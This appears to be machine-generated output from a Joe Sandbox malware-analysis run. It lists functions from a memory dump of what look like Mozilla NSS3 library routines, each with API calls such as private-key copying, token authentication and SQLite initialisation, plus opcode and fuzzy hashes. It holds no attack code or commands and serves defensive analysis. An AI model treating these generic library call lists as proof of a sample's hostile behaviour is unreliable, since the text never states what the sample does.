Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 3210bafb8193dc4914531b8c8022cc8ffb718c20c066d139e76b450df57c29b9
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: B3418EB2A442118FCB18CF59DCE179AB7E1BF4431871D466DD84ACBB02E379E891CB81

Function 6CE3FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE3FDFE), ref: 6CE3FFAD

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE3FDFE), ref: 6CE3FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE3FDFE), ref: 6CE4001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE3FDFE), ref: 6CE4006F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: b4e9128af4e7338a4b4b81b83c13aabc27f405cdf0e9fc3fdde2b9e107f4f3a1
Instruction ID: 2639878d708884bef7ba6b24fd71ffb3a549472573cd9dbe30166a048329defb
Opcode Fuzzy Hash: b4e9128af4e7338a4b4b81b83c13aabc27f405cdf0e9fc3fdde2b9e107f4f3a1
Instruction Fuzzy Hash: 8B41DF71F002159BDB08DFA5E895BAEB775FF46309F24843DD80693B40DB39A911CBA1

Function 6CF27DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF27EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF27ED8

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: ba0dd5d681c05107b7e7c2ef46be909c7fac5cbc92b04a51e8cedd9e7337da90
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 2631B5B2A001118FDB04CF09CC919DABBE2FF8831871B816AC8585BB11EB75EC45CBD1

Function 6CEDDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CEDDBBD), ref: 6CEDDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEDDFEE

Part of subcall function 6CE786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE78716
Part of subcall function 6CE786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE78727
Part of subcall function 6CE786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE7873B
Part of subcall function 6CE786D0: PR_Unlock.NSS3(?), ref: 6CE7876F
Part of subcall function 6CE786D0: PR_SetError.NSS3(00000000,00000000), ref: 6CE78787

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CEDDBBD), ref: 6CEDDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CEDDBBD), ref: 6CEDE007

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: b173ef7d6b57d4ea238a4c808ce771137554b9af035ce80e7416b1ecf4927ceb
Instruction ID: ef5e2e8bdf64b1c95ac470c91a51398d2d1b9cf9b02de4dc105c9637ed1e94cd
Opcode Fuzzy Hash: b173ef7d6b57d4ea238a4c808ce771137554b9af035ce80e7416b1ecf4927ceb
Instruction Fuzzy Hash: F13139B5A0020157D7109A79EC85B9BB2B89F5530CF260139E909C7B02FB25EA19C7F3

Function 6CE56C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE56C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE56CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE56CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF78FE0), ref: 6CE56CFE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ec5c5a0564f7328004b5fed1c853520787e81d82db3398382eb581e8ac732a2c
Instruction ID: 92207325d656272d98d4813b09179bac15d77ade4ad8be0e9014866e8d1242ce
Opcode Fuzzy Hash: ec5c5a0564f7328004b5fed1c853520787e81d82db3398382eb581e8ac732a2c
Instruction Fuzzy Hash: C33192B1A002169FDB04DF65C891ABFBBF9EF45248F60443DD905E7710EB329915CBA0

Function 6CF64F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF64F5D
free.MOZGLUE(?), ref: 6CF64F74
free.MOZGLUE(?), ref: 6CF64F82
GetLastError.KERNEL32 ref: 6CF64F90

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a71ac2ecfb12a2aafcbe4feb9f91257c9730dad084ae2850b605f183e83cb252
Instruction ID: 170c93f91bd82b222e5380e5f68a50048059283723dd57e44039a4f140f236e2
Opcode Fuzzy Hash: a71ac2ecfb12a2aafcbe4feb9f91257c9730dad084ae2850b605f183e83cb252
Instruction Fuzzy Hash: 21312B75A002099BDB01EBAADC51BDFB7B8EF45358F050229EC15A7B81DB35990486A1

Function 6CEC6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC6E57

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEC6EAA

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: beb7d79fdf14f6bdba235fcab3366f5f41ff443fb5dea469fae3fc0d31059199
Instruction ID: dd23ee49d2d1357f48227d08615e70d369a995c4bb70c5855daaf439c7aad4d6
Opcode Fuzzy Hash: beb7d79fdf14f6bdba235fcab3366f5f41ff443fb5dea469fae3fc0d31059199
Instruction Fuzzy Hash: BC317C71714516EEDB145E34DA043A7B7B8AB0531EF30063ED8AAD6B80EB31B654CB83

Function 6CEADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADDF4

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CEADDB1,?,00000000), ref: 6CEADE17

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEADE80

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: f2ecceaad8d616b4040f083c4ec330f0b2838a8e43c866d14022a60539f7c8cc
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: E43172B5D016429FE700CF96D980662B7B4BFA531CB34C22EDC198BB01E770E5A5CB91

Function 6CE9FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CE75ADC,?,00000000,00000001,?,?,00000000,?,6CE6BA55,?,?), ref: 6CE9FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE9FE5F
PR_Unlock.NSS3(78831D74), ref: 6CE9FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CE9FED6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: d97f76820cd1828eb059e8b74b713ba30c7458e68290672988cbb8adb340e552
Instruction ID: c93191a130f45076204dc74a9274a4e59b412b85666da0a7bef3c97bbfa60a41
Opcode Fuzzy Hash: d97f76820cd1828eb059e8b74b713ba30c7458e68290672988cbb8adb340e552
Instruction Fuzzy Hash: 03212331E00615ABDB50AF65E8447AAB7B4FF053ACF240128ED04A7F42E739E964CBD1

Function 6CEA3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CE8E80C,00000000,00000000,?,?,?,?,6CE98C5B,-00000001), ref: 6CEA3FFE
PR_SetError.NSS3 ref: 6CEA401A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 963055357bcea8b0680d33bc197f1e86f8b8c66cc244c3d9c1da892747f425d9
Instruction ID: 7a7ce626f1142650ab3caadada9a402204279c6c1477e96b4dc3334018f3fb86
Opcode Fuzzy Hash: 963055357bcea8b0680d33bc197f1e86f8b8c66cc244c3d9c1da892747f425d9
Instruction Fuzzy Hash: 3A317274904704CFD750AF69D08426EBBF0FF88358F21592ED9858B700EB30E885CB92

Function 6CE94FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE95003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE9501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE9504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CE9B60F,00000000), ref: 6CE95064

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 2a163b29496dc87da06d7a023f57c58ccd34ebf24fb974dd776755725f856407
Instruction ID: 03be515711536ffe10c77492b1255cd0724e302315f79884625d8aa4f27c87f1
Opcode Fuzzy Hash: 2a163b29496dc87da06d7a023f57c58ccd34ebf24fb974dd776755725f856407
Instruction Fuzzy Hash: 3B3127B4A05606CFDB40EF68D48466ABBF4FF08348F218629E859D7701E731E890CB91

Function 6CEB9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEBA71A,FFFFFFFF,?,?), ref: 6CEB9FAB

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEBA71A,6CEBA71A,00000000), ref: 6CEB9FD9

Part of subcall function 6CEB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB136A
Part of subcall function 6CEB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB137E
Part of subcall function 6CEB1340: PL_ArenaGrow.NSS3(?,6CE4F599,?,00000000,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?), ref: 6CEB13CF
Part of subcall function 6CEB1340: PR_Unlock.NSS3(?,?,6CE5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CEB145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEBA71A,6CEBA71A,00000000), ref: 6CEBA009
PR_SetError.NSS3(FFFFE013,00000000,6CEBA71A,6CEBA71A,00000000), ref: 6CEBA045

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 639728051f32dd69fa9223c0d371a87bd5b36ad2fbe88fab39f50ff74e65d709
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: F121B0B4600206ABFB009F55DD40F76B7B9FB8536CF20812C982997B91EB75E818CB90

Function 6CEC2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC2E08

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEC2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEC2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEC2E95

Part of subcall function 6CEB1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB1228
Part of subcall function 6CEB1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEB1238
Part of subcall function 6CEB1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB124B
Part of subcall function 6CEB1200: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0,00000000,00000000,00000000,?,6CE588A4,00000000,00000000), ref: 6CEB125D
Part of subcall function 6CEB1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEB126F
Part of subcall function 6CEB1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEB1280
Part of subcall function 6CEB1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEB128E
Part of subcall function 6CEB1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEB129A
Part of subcall function 6CEB1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEB12A1

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
